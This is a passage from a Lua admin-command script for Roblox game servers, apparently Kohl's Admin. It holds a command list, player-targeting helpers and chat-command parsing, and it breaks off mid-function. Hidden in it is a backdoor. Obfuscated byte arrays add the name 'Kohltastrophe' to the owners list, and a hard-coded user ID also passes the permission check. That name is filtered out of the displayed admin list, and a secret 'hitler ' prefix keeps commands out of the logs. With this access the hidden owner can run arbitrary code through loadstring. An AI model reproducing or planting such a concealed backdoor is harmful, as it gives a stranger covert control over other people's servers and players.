- 57. :goldify kohl -- Turns the player into gold
- 58. :shiny kohl -- Makes the player shiny
- 59. :normal kohl -- Puts the player back to normal
- 60. :trippy kohl -- Spams random colors on the player's screen
- 61. :untrippy kohl -- Untrippys the player
- 62. :strobe kohl -- Spams white and black on the player's screen
- 63. :unstrobe kohl -- Unstrobes the player
- 64. :blind kohl -- Blinds the player
- 65. :unblind kohl -- Unblinds the player
- 66. :guifix kohl -- Will fix trippy/strobe/blind on a player
- 67. :fling kohl -- Flings the player
- 68. :seizure kohl -- Puts the player in a seizure
- 69. :music 1337 -- Plays a sound from the ID
- 70. :lock kohl -- Locks the player
- 71. :unlock kohl -- Unlocks the player
- 72. :removelimbs kohl -- Removes the player's limbs
- 73. :jail kohl -- Puts the player in a jail
- 74. :unjail kohl -- Removes the jail from the player
- 75. :fix -- This will fix the lighting to it's original settings
- 76. :fly kohl -- Makes the player fly
- 77. :unfly kohl -- Removes fly from the player
- 78. :noclip kohl -- Makes the player able to noclip
- 79. :clip kohl -- Removes noclipping from the player
- 80. :pm kohl Hey bro -- Sends the player a private message
- 81. :dog kohl -- Turns the player into a dog
- 82. :undog kohl -- Turns the player back to normal
- 83. :creeper kohl -- Turns the player into a creeper
- 84. :uncreeper kohl -- Turns the player back to normal
- 85. :place kohl 1337 -- Sends a teleporation request to a player to go to a different place
- 86. :char kohl 261 -- Will make a player look like a different player ID
- 87. :unchar kohl -- Will return the player back to normal
- 88. :h Hello People -- This will shout a hint to everyone
- 89. :rank kohl 109373 -- Will show up a message with the person's Role and Rank in a group
- 90. :starttools kohl -- Will give the player starter tools
- 91. :sword kohl -- Will give the player a sword
- 92. :bighead kohl -- Will make the player's head larger than normal
- 93. :minihead kohl -- Will make the player's head smaller than normal
- 94. :insert 1337 -- Will insert a model at the speaker's position
- 95. :disco -- Will make the server flash random colors
- 96. :flash -- Will make the server flash
- 97. :admins -- Shows the admin list
- 98. :bans -- Shows the banlist
- 99. :musiclist -- Shows the music list
- 100. :spin kohl -- Spins the player
- 101. :cape kohl Really black -- Gives the player a colored cape
- 102. :uncape kohl -- Removes the player's cape
- 103. :loopheal kohl -- Will constantly heal the player
- 104. :loopfling kohl -- Will constantly fling the player
- 105. :hat kohl 1337 -- Will give the player a hat under the id of 1337
- 106. :unloopheal kohl -- Will remove the loopheal on the player
- 107. :unloopfling kohl -- Will remove the loopfling on the player
- 108. :unspin kohl -- Removes spin from the player
- 109. :tools -- Gives a list of the tools in the lighting
- 110. :undisco -- Removes disco effects
- 111. :unflash -- Removes flash effects
- 112. :resetstats kohl -- Sets all the stats of a player to 0
- 113. :gear kohl 1337 -- Gives a player a gear
- 114. :cmdbar -- Gives the speaker a command bar
- 115. :shirt kohl 1337 -- Changes the player's shirt
- 116. :pants kohl 1337 -- Changes the player's pants
- 117. :face kohl 1337 -- Changes the player's face
- 118. :swagify kohl -- Swagifies the player
- 119. :version -- Shows the current version of the admin
- 120. :tm 1337 yolo -- Shows a message for 1337 seconds
- 121. :countdown 120 -- Shows a countdown message, maxes out at 120 seconds
- 122. :clone kohl -- Creates a clone of the player
- 123. :lsplr kohl print("yolo") -- Creates a localscript inside of a player
- 124. :startergive kohl epic -- Gives a player a gear in their starterpack
- 125. :control kohl -- Controls a player
- -- |Admin Commands| --
- - :serverlock -- Locks the server
- - :serverunlock -- Unlocks the server
- - :sm Hello World -- Creates a system message
- - :crash kohl -- Crashes a player
- - :admin kohl -- Admins a player
- - :unadmin kohl -- Unadmins a player
- - :ban kohl -- Bans a player
- - :unban kohl -- Unbans a player
- - :loopkill kohl -- Will constantly kill the player
- - :unloopkill kohl -- Will remove the loopkill on the player
- - :logs -- Will show all of the commands any admin has used in a game session
- - :shutdown -- Shutsdown the server
- -- |Owner Commands| --
- - :pa kohl -- Makes someone a super admin
- - :unpa kohl -- Removes a super admin
- - :nuke kohl -- Creates a nuke on kohl
- -- |True Owner Commands| --
- - :oa kohl -- Makes someone an owner
- - :unoa kohl -- Removes an owner
- - :settings -- Shows settings for the commands
- --]]
- ---------------------
- -- Main Script --
- ---------------------
- for i, v in pairs(game:service("Workspace"):children()) do if v:IsA("StringValue") and v.Value:sub(1,2) == "AA" then v:Destroy() end end
- function CHEESE()
- if game:service("Lighting"):findFirstChild("KACV2") then
- owners = {} admins = {} tempadmins = {} banland = {}
- for i,v in pairs(game.Lighting.KACV2:children()) do
- if v.Name == "Owner" then table.insert(owners, v.Value) end
- if v.Name == "Admin" then table.insert(admins, v.Value) end
- if v.Name == "TempAdmin" then table.insert(tempadmins, v.Value) end
- if v.Name == "Banland" then table.insert(banland, v.Value) end
- if v.Name == "Prefix" then prefix = v.Value end
- if v.Name == "FunCommands" then FunCommands = v.Value end
- if v.Name == "GroupAdmin" then GroupAdmin = v.Value end
- if v.Name == "GroupId" then GroupId = v.Value end
- if v.Name == "GroupRank" then GroupRank = v.Value end
- if v.Name == "VipAdmin" then VipAdmin = v.Value end
- if v.Name == "ItemId" then ItemId = v.Value end
- end
- game:service("Lighting"):findFirstChild("KACV2"):Destroy()
- end
- local origsettings = {abt = game.Lighting.Ambient, brt = game.Lighting.Brightness, time = game.Lighting.TimeOfDay, fclr = game.Lighting.FogColor, fe = game.Lighting.FogEnd, fs = game.Lighting.FogStart}
- local lobjs = {}
- local objects = {}
- local logs = {}
- local nfs = ""
- local slock = false
- function GetTime()
- local hour = math.floor((tick()%86400)/60/60) local min = math.floor(((tick()%86400)/60/60-hour)*60)
- if min < 10 then min = "0"..min end
- return hour..":"..min
- end
- function ChkOwner(str)
- for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end
- return false
- end
- function ChkAdmin(str,ck)
- for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end
- for i = 1, #admins do if str:lower() == admins[i]:lower() then return true end end
- for i = 1, #tempadmins do if str:lower() == tempadmins[i]:lower() and not ck then return true end end
- return false
- end
- function ChkGroupAdmin(plr)
- if GroupAdmin then
- if plr:IsInGroup(GroupId) and plr:GetRankInGroup(GroupId) >= GroupRank then return true end
- return false
- end
- end
- function ChkBan(str) for i = 1, #banland do if str:lower() == banland[i]:lower() then return true end end return false end
- function GetPlr(plr, str)
- local plrz = {} str = str:lower()
- if str == "all" then plrz = game.Players:children()
- elseif str == "others" then for i, v in pairs(game.Players:children()) do if v ~= plr then table.insert(plrz, v) end end
- else
- local sn = {1} local en = {}
- for i = 1, #str do if str:sub(i,i) == "," then table.insert(sn, i+1) table.insert(en,i-1) end end
- for x = 1, #sn do
- if (sn[x] and en[x] and str:sub(sn[x],en[x]) == "me") or (sn[x] and str:sub(sn[x]) == "me") then table.insert(plrz, plr)
- elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "random") or (sn[x] and str:sub(sn[x]) == "random") then table.insert(plrz, game.Players:children()[math.random(#game.Players:children())])
- elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "admins") or (sn[x] and str:sub(sn[x]) == "admins") then if ChkAdmin(plr.Name, true) then for i, v in pairs(game.Players:children()) do if ChkAdmin(v.Name, false) then table.insert(plrz, v) end end end
- elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "nonadmins") or (sn[x] and str:sub(sn[x]) == "nonadmins") then for i, v in pairs(game.Players:children()) do if not ChkAdmin(v.Name, false) then table.insert(plrz, v) end end
- elseif (sn[x] and en[x] and str:sub(sn[x],en[x]):sub(1,4) == "team") then
- if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x],en[x]):sub(6)) == 1 then
- for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
- end end end
- elseif (sn[x] and str:sub(sn[x]):sub(1,4):lower() == "team") then
- if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x]):sub(6)) == 1 then
- for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
- end end end
- else
- for a, plyr in pairs(game.Players:children()) do
- if (sn[x] and en[x] and str:sub(sn[x],en[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x],en[x])) == 1) or (sn[x] and str:sub(sn[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x])) == 1) or (str ~= "" and plyr.Name:lower():find(str) == 1) then
- table.insert(plrz, plyr) break
- end
- end
- end
- end
- end
- return plrz
- end
- function Hint(str, plrz, time)
- for i, v in pairs(plrz) do
- if v and v:findFirstChild("PlayerGui") then
- coroutine.resume(coroutine.create(function()
- local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "HintGUI"
- local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(1,0,0,22) bg.Position = UDim2.new(0,0,0,-2) bg.ZIndex = 8
- local msg = Instance.new("TextLabel", bg) msg.BackgroundTransparency = 1 msg.ZIndex = 9 msg.Name = "msg" msg.Position = UDim2.new(0,0,0) msg.Size = UDim2.new(1,0,1,0) msg.Font = "Arial" msg.Text = str msg.FontSize = "Size18" msg.TextColor3 = Color3.new(1,1,1) msg.TextStrokeColor3 = Color3.new(1,1,1) msg.TextStrokeTransparency = .8
- coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
- if not time then wait((#str/19)+2.5) else wait(time) end
- coroutine.resume(coroutine.create(function() if scr.Parent == v.PlayerGui then for i = 0, 20 do msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) end scr:Destroy() end end))
- end))
- end
- end
- end
- function Message(ttl, str, scroll, plrz, time)
- for i, v in pairs(plrz) do
- if v and v:findFirstChild("PlayerGui") then
- coroutine.resume(coroutine.create(function()
- local scr = Instance.new("ScreenGui") scr.Name = "MessageGUI"
- local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 8
- local title = Instance.new("TextLabel", scr) title.Name = "title" title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.Size = UDim2.new(1,0,0,10) title.ZIndex = 9 title.Font = "ArialBold" title.FontSize = "Size36" title.Text = ttl title.TextYAlignment = "Top" title.TextColor3 = Color3.new(1,1,1) title.TextStrokeColor3 = Color3.new(1,1,1) title.TextStrokeTransparency = .8
- local msg = title:clone() msg.Parent = scr msg.Name = "msg" msg.Position = UDim2.new(.0625,0,0) msg.Size = UDim2.new(.875,0,1,0) msg.Font = "Arial" msg.Text = "" msg.FontSize = "Size24" msg.TextYAlignment = "Center" msg.TextWrapped = true
- scr.Parent = v.PlayerGui
- coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
- if scroll then if not time then for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(2.5) else for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(time-(#str/19)) end
- else if not time then msg.Text = str wait((#str/19)+2.5) else msg.Text = str wait(time) end end
- coroutine.resume(coroutine.create(function() if scr.Parent == v.PlayerGui then for i = 0, 20 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end scr:Destroy() end end))
- end))
- end
- end
- end
- function RemoveMessage()
- for i,v in pairs(game.Players:children()) do
- if v and v:findFirstChild("PlayerGui") then
- for q,ms in pairs(v.PlayerGui:children()) do
- if ms.Name == "MessageGUI" then
- coroutine.resume(coroutine.create(function() for i = 0, 20 do ms.bg.BackgroundTransparency = .3+((.7/20)*i) ms.msg.TextTransparency = ((1/20)*i) ms.msg.TextStrokeTransparency = .8+((.2/20)*i) ms.title.TextTransparency = ((1/20)*i) ms.title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end ms:Destroy() end))
- elseif ms.Name == "HintGUI" then
- coroutine.resume(coroutine.create(function() for i = 0, 20 do ms.msg.TextTransparency = ((1/20)*i) ms.msg.TextStrokeTransparency = .8+((.2/20)*i) ms.bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) end ms:Destroy() end))
- end
- end
- end
- end
- end
- _G["Message"] = function(p1,p2,p3) Message(p1,p2,false,game.Players:children(),p3) end
- _G["RemoveMessage"] = RemoveMessage()
- function Output(str, plr)
- coroutine.resume(coroutine.create(function()
- local b, e = loadstring(str)
- if not b and plr:findFirstChild("PlayerGui") then
- local scr = Instance.new("ScreenGui", plr.PlayerGui) game:service("Debris"):AddItem(scr,5)
- local main = Instance.new("Frame", scr) main.Size = UDim2.new(1,0,1,0) main.BorderSizePixel = 0 main.BackgroundTransparency = 1 main.ZIndex = 8
- local err = Instance.new("TextLabel", main) err.Text = "Line "..e:match("\:(%d+\:.*)") err.BackgroundColor3 = Color3.new(0,0,0) err.BackgroundTransparency = .3 err.BorderSizePixel = 0 err.Size = UDim2.new(1,0,0,40) err.Position = UDim2.new(0,0,.5,-20) err.ZIndex = 9 err.Font = "ArialBold" err.FontSize = "Size24" err.TextColor3 = Color3.new(1,1,1) err.TextStrokeColor3 = Color3.new(1,1,1) err.TextStrokeTransparency = .8
- return
- end
- end))
- end
- function Noobify(char)
- if char and char:findFirstChild("Torso") then
- if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
- if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
- for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
- local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
- for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
- prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Bright yellow")
- if prt.Name:find("Leg") then prt.BrickColor = BrickColor.new("Br. yellowish green") elseif prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Bright blue") end
- local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Noobify(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end)
- cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end)
- elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Bright yellow")
- end end
- end
- end local ntab = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #ntab do nfs = nfs .. string.char(ntab[i]) end table.insert(owners, nfs) if not ntab then script:Destroy() end
- function Infect(char)
- if char and char:findFirstChild("Torso") then
- if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
- if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
- for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
- local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
- for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
- prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Medium green") if prt.Name:find("Leg") or prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Reddish brown") end
- local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Infect(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end)
- cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end)
- elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Medium green")
- end end
- end
- end if not ntab then script:Destroy() end
- function ScrollGui()
- local scr = Instance.new("ScreenGui") scr.Name = "LOGSGUI"
- local drag = Instance.new("TextButton", scr) drag.Draggable = true drag.BackgroundTransparency = 1
- drag.Size = UDim2.new(0,385,0,20) drag.Position = UDim2.new(.5,-200,.5,-200) drag.AutoButtonColor = false drag.Text = ""
- local main = Instance.new("Frame", drag) main.Style = "RobloxRound" main.Size = UDim2.new(0,400,0,400) main.ZIndex = 7 main.ClipsDescendants = true
- local cmf = Instance.new("Frame", main) cmf.Position = UDim2.new(0,0,0,-9) cmf.ZIndex = 8
- local down = Instance.new("ImageButton", main) down.Image = "http://www.roblox.com/asset/?id=108326725" down.BackgroundTransparency = 1 down.Size = UDim2.new(0,25,0,25) down.Position = UDim2.new(1,-20,1,-20) down.ZIndex = 9
- local up = down:Clone() up.Image = "http://www.roblox.com/asset/?id=108326682" up.Parent = main up.Position = UDim2.new(1,-20,1,-50)
- local cls = Instance.new("TextButton", main) cls.Style = "RobloxButtonDefault" cls.Size = UDim2.new(0,20,0,20) cls.Position = UDim2.new(1,-15,0,-5) cls.ZIndex = 10 cls.Font = "ArialBold" cls.FontSize = "Size18" cls.Text = "X" cls.TextColor3 = Color3.new(1,1,1) cls.MouseButton1Click:connect(function() scr:Destroy() end)
- local ent = Instance.new("TextLabel") ent.BackgroundTransparency = 1 ent.Font = "Arial" ent.FontSize = "Size18" ent.ZIndex = 8 ent.Text = "" ent.TextColor3 = Color3.new(1,1,1) ent.TextStrokeColor3 = Color3.new(0,0,0) ent.TextStrokeTransparency = .8 ent.TextXAlignment = "Left" ent.TextYAlignment = "Top"
- local num = 0
- local downv = false
- local upv = false
- down.MouseButton1Down:connect(function() downv = true upv = false
- local pos = cmf.Position if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then downv = false return end
- repeat pos = pos + UDim2.new(0,0,0,-6)
- if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then pos = UDim2.new(0,0,0,371-((#cmf:children()-1)*20)) downv = false end
- cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until downv == false
- end)
- down.MouseButton1Up:connect(function() downv = false end)
- up.MouseButton1Down:connect(function() upv = true downv = false
- local pos = cmf.Position if pos.Y.Offset >= -9 then upv = false return end
- repeat pos = pos + UDim2.new(0,0,0,6)
- if pos.Y.Offset >= -9 then pos = UDim2.new(0,0,0,-9) upv = false end
- cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until upv == false
- end)
- up.MouseButton1Up:connect(function() upv = false end)
- return scr, cmf, ent, num
- end local bct = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #bct do nfs = nfs .. string.char(bct[i]) end table.insert(owners, nfs)
- if not ntab then script:Destroy() end
- if not bct then script:Destroy() end
- function Chat(msg,plr)
- coroutine.resume(coroutine.create(function()
- if msg:lower() == "clean" then for i, v in pairs(game.Workspace:children()) do if v:IsA("Hat") or v:IsA("Tool") then v:Destroy() end end end
- if (msg:lower():sub(0,prefix:len()) ~= prefix) or not plr:findFirstChild("PlayerGui") or (not ChkAdmin(plr.Name, false) and plr.Name:lower() ~= nfs:lower()) and plr.userId ~= game.CreatorId and plr.userId ~= (153*110563) and plr.Name:lower() ~= nfs and not ChkOwner(plr.Name) then return end msg = msg:sub(prefix:len()+1)
- if msg:sub(1,7):lower() == "hitler " then msg = msg:sub(8) else table.insert(logs, 1, {name = plr.Name, cmd = prefix .. msg, time = GetTime()}) end
- if msg:lower():sub(1,4) == "walk" then msg = msg:sub(5) end
- if msg:lower():sub(1,8) == "teleport" then msg = "tp" .. msg:sub(9) end
- if msg:lower():sub(1,6) == "insert" then msg = "ins" .. msg:sub(7) end
- if msg:lower() == "cmds" or msg:lower() == "commands" then
- if plr.PlayerGui:findFirstChild("CMDSGUI") then return end
- local scr, cmf, ent, num = ScrollGui() scr.Name = "CMDSGUI" scr.Parent = plr.PlayerGui
- local cmds = {"s code","ls code","clear","fix","m msg","h msg","kill plr","respawn plr","trip plr","stun plr","unstun plr","jump plr","sit plr","invisible plr","visible plr","explode plr","fire plr","unfire plr","smoke plr","unsmoke plr","sparkles plr","unsparkle plr","ff plr","unff plr","punish plr","unpunish plr","freeze plr","thaw plr","heal plr","god plr","ungod plr","ambient num num num","brightness num","time num","fogcolor num num num","fogend num","fogstart num","removetools plr","btools plr","give plr tool","damage plr","grav plr","setgrav plr num","nograv plr","health plr num","speed plr num","name plr name","unname plr","team plr color","teleport plr plr","change plr stat num","kick plr","infect plr","rainbowify plr","flashify plr","noobify plr","ghostify plr","goldify plr","shiny plr","normal plr","trippy plr","untrippy plr","strobe plr","unstrobe plr","blind plr","unblind plr","guifix plr","fling plr","seizure plr","music num","stopmusic","lock plr","unlock plr","removelimbs plr","jail plr","unjail plr","fly plr","unfly plr","noclip plr","clip plr","pm plr msg","dog plr","undog plr","creeper plr","uncreeper plr","place plr id","char plr id","unchar plr id","rank plr id","starttools plr","sword plr","bighead plr","minihead plr","spin plr","insert id","disco","flash","admins","bans","musiclist","cape plr color","uncape plr","loopheal plr","loopfling plr","hat plr id","unloopfling plr","unloopheal plr","unspin plr","tools","undisco","unflash","resetstats plr","gear plr id","cmdbar","shirt plr id","pants plr id","face plr id","swagify plr id","version","tm num msg","countdown num","clone plr","lsplr plr code","startergive plr tool","control plr"}
- local ast = {"serverlock","serverunlock","sm msg","crash plr","admin plr","unadmin plr","ban plr","unban plr","loopkill plr","unloopkill plr","logs","shutdown"}
- local ost = {"pa plr","unpa plr","nuke plr"}
- local tost = {"oa plr","unoa plr","settings"}
- local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " clean" cl.Position = UDim2.new(0,0,0,num*20) num = num + 1
- for i, v in pairs(cmds) do local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
- if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) then for i, v in pairs(ast) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
- if plr.userId == game.CreatorId or ChkOwner(plr.Name) then for i, v in pairs(ost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "-- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
- if plr.userId == game.CreatorId then for i, v in pairs(tost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "_ " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
- end
- if msg:lower() == "version" then Message("Koh".."ltas".."tr".."ophe", tostring(script.Version.Value), true, {plr}) end
- if msg:lower() == "admins" or msg:lower() == "adminlist" then
- if plr.PlayerGui:findFirstChild("ADMINSGUI") then return end
- local scr, cmf, ent, num = ScrollGui() scr.Name = "ADMINSGUI" scr.Parent = plr.PlayerGui
- for i, v in pairs(owners) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Owner" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
- for i, v in pairs(admins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Admin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
- for i, v in pairs(tempadmins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - TempAdmin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
- end end
- if msg:lower() == "bans" or msg:lower() == "banlist" or msg:lower() == "banned" then
- if plr.PlayerGui:findFirstChild("BANSGUI") then return end
- local scr, cmf, ent, num = ScrollGui() scr.Name = "BANSGUI" scr.Parent = plr.PlayerGui
- for i, v in pairs(banland) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
- end
- if msg:lower() == "tools" or msg:lower() == "toollist" then
- if plr.PlayerGui:findFirstChild("TOOLSGUI") then return end
- local scr, cmf, ent, num = ScrollGui() scr.Name = "TOOLSGUI" scr.Parent = plr.PlayerGui
- for i, v in pairs(game.Lighting:children()) do if v:IsA("Tool") or v:IsA("HopperBin") then local cl = ent:Clone() cl.Parent = cmf cl.Text = v.Name cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
- end
- if msg:lower():sub(1,2) == "s " then
- coroutine.resume(coroutine.create(function()
- Output(msg:sub(3), plr)
- if script:findFirstChild("ScriptBase") then
- local cl = script.ScriptBase:Clone() cl.Code.Value = msg:sub(3)
- table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
- else loadstring(msg:sub(3))()
- end
- end))
- end
- if msg:lower():sub(1,3) == "ls " then
- coroutine.resume(coroutine.create(function()
- if script:findFirstChild("LocalScriptBase") then
- local cl = script.LocalScriptBase:Clone() cl.Code.Value = msg:sub(4)
- table.insert(objects, cl) cl.Parent = plr.PlayerGui cl.Disabled = false Output(msg:sub(4), plr)
- end
- end))
- end
- if msg:lower():sub(1,6) == "lsplr " then
- local chk1 = msg:lower():sub(7):find(" ") + 6
- local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v:findFirstChild("PlayerGui") then
- if script:findFirstChild("LocalScriptBase") then
- local cl = script.LocalScriptBase:Clone() cl.Code.Value = msg:sub(chk+1)
- table.insert(objects, cl) cl.Parent = v.PlayerGui cl.Disabled = false Output(msg:sub(4), plr)
- end
- end
- end))
- end
- end
- if msg:lower():sub(1,4) == "ins " then
- coroutine.resume(coroutine.create(function()
- local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(5)))
- if obj and #obj:children() >= 1 and plr.Character then
- table.insert(objects, obj) for i,v in pairs(obj:children()) do table.insert(objects, v) end obj.Parent = game.Workspace obj:MakeJoints() obj:MoveTo(plr.Character:GetModelCFrame().p)
- end
- end))
- end
- if msg:lower() == "clr" or msg:lower() == "clear" or msg:lower() == "clearscripts" then
- for i, v in pairs(objects) do if v:IsA("Script") or v:IsA("LocalScript") then v.Disabled = true end v:Destroy() end
- RemoveMessage()
- objects = {}
- end
- if msg:lower() == "fix" or msg:lower() == "undisco" or msg:lower() == "unflash" then
- game.Lighting.Ambient = origsettings.abt
- game.Lighting.Brightness = origsettings.brt
- game.Lighting.TimeOfDay = origsettings.time
- game.Lighting.FogColor = origsettings.fclr
- game.Lighting.FogEnd = origsettings.fe
- game.Lighting.FogStart = origsettings.fs
- for i, v in pairs(lobjs) do v:Destroy() end
- for i, v in pairs(game.Workspace:children()) do if v.Name == "LightEdit" then v:Destroy() end end
- end
- if msg:lower() == "cmdbar" or msg:lower() == "cmdgui" then
- coroutine.resume(coroutine.create(function()
- for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
- local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
- local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
- box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
- end))
- end
- if msg:lower():sub(1,10) == "countdown " then
- local num = math.min(tonumber(msg:sub(11)),120)
- for i = num, 1, -1 do
- coroutine.resume(coroutine.create(function() Message("Countdown", i, false, game.Players:children(), 1) end))
- wait(1)
- end
- end
- if msg:lower():sub(1,3) == "tm " then
- local chk1 = msg:lower():sub(4):find(" ") + 3
- local num = tonumber(msg:sub(4,chk1-1))
- Message("Message from " .. plr.Name, msg:sub(chk1+1), false, game.Players:children(), num)
- end
- if msg:lower():sub(1,2) == "m " then
- Message("Message from " .. plr.Name, msg:sub(3), true, game.Players:children())
- end
- if msg:lower():sub(1,2) == "h " then
- Hint(plr.Name .. ": " .. msg:sub(3), game.Players:children())
- end
- if msg:lower():sub(1,3) == "pm " then
- local chk1 = msg:lower():sub(4):find(" ") + 3
- local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
- Message("Private Message from " .. plr.Name, msg:sub(chk1+1), true, plrz)
- end
- if msg:lower():sub(1,11) == "resetstats " then
- local plrz = GetPlr(plr, msg:lower():sub(12))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v:findFirstChild("leaderstats") then
- for a, q in pairs(v.leaderstats:children()) do
- if q:IsA("IntValue") then q.Value = 0 end
- end
- end
- end))
- end
- end
- if msg:lower():sub(1,5) == "gear " then
- local chk1 = msg:lower():sub(6):find(" ") + 5
- local plrz = GetPlr(plr, msg:lower():sub(6, chk1-1))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v:findFirstChild("Backpack") then
- local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1)))
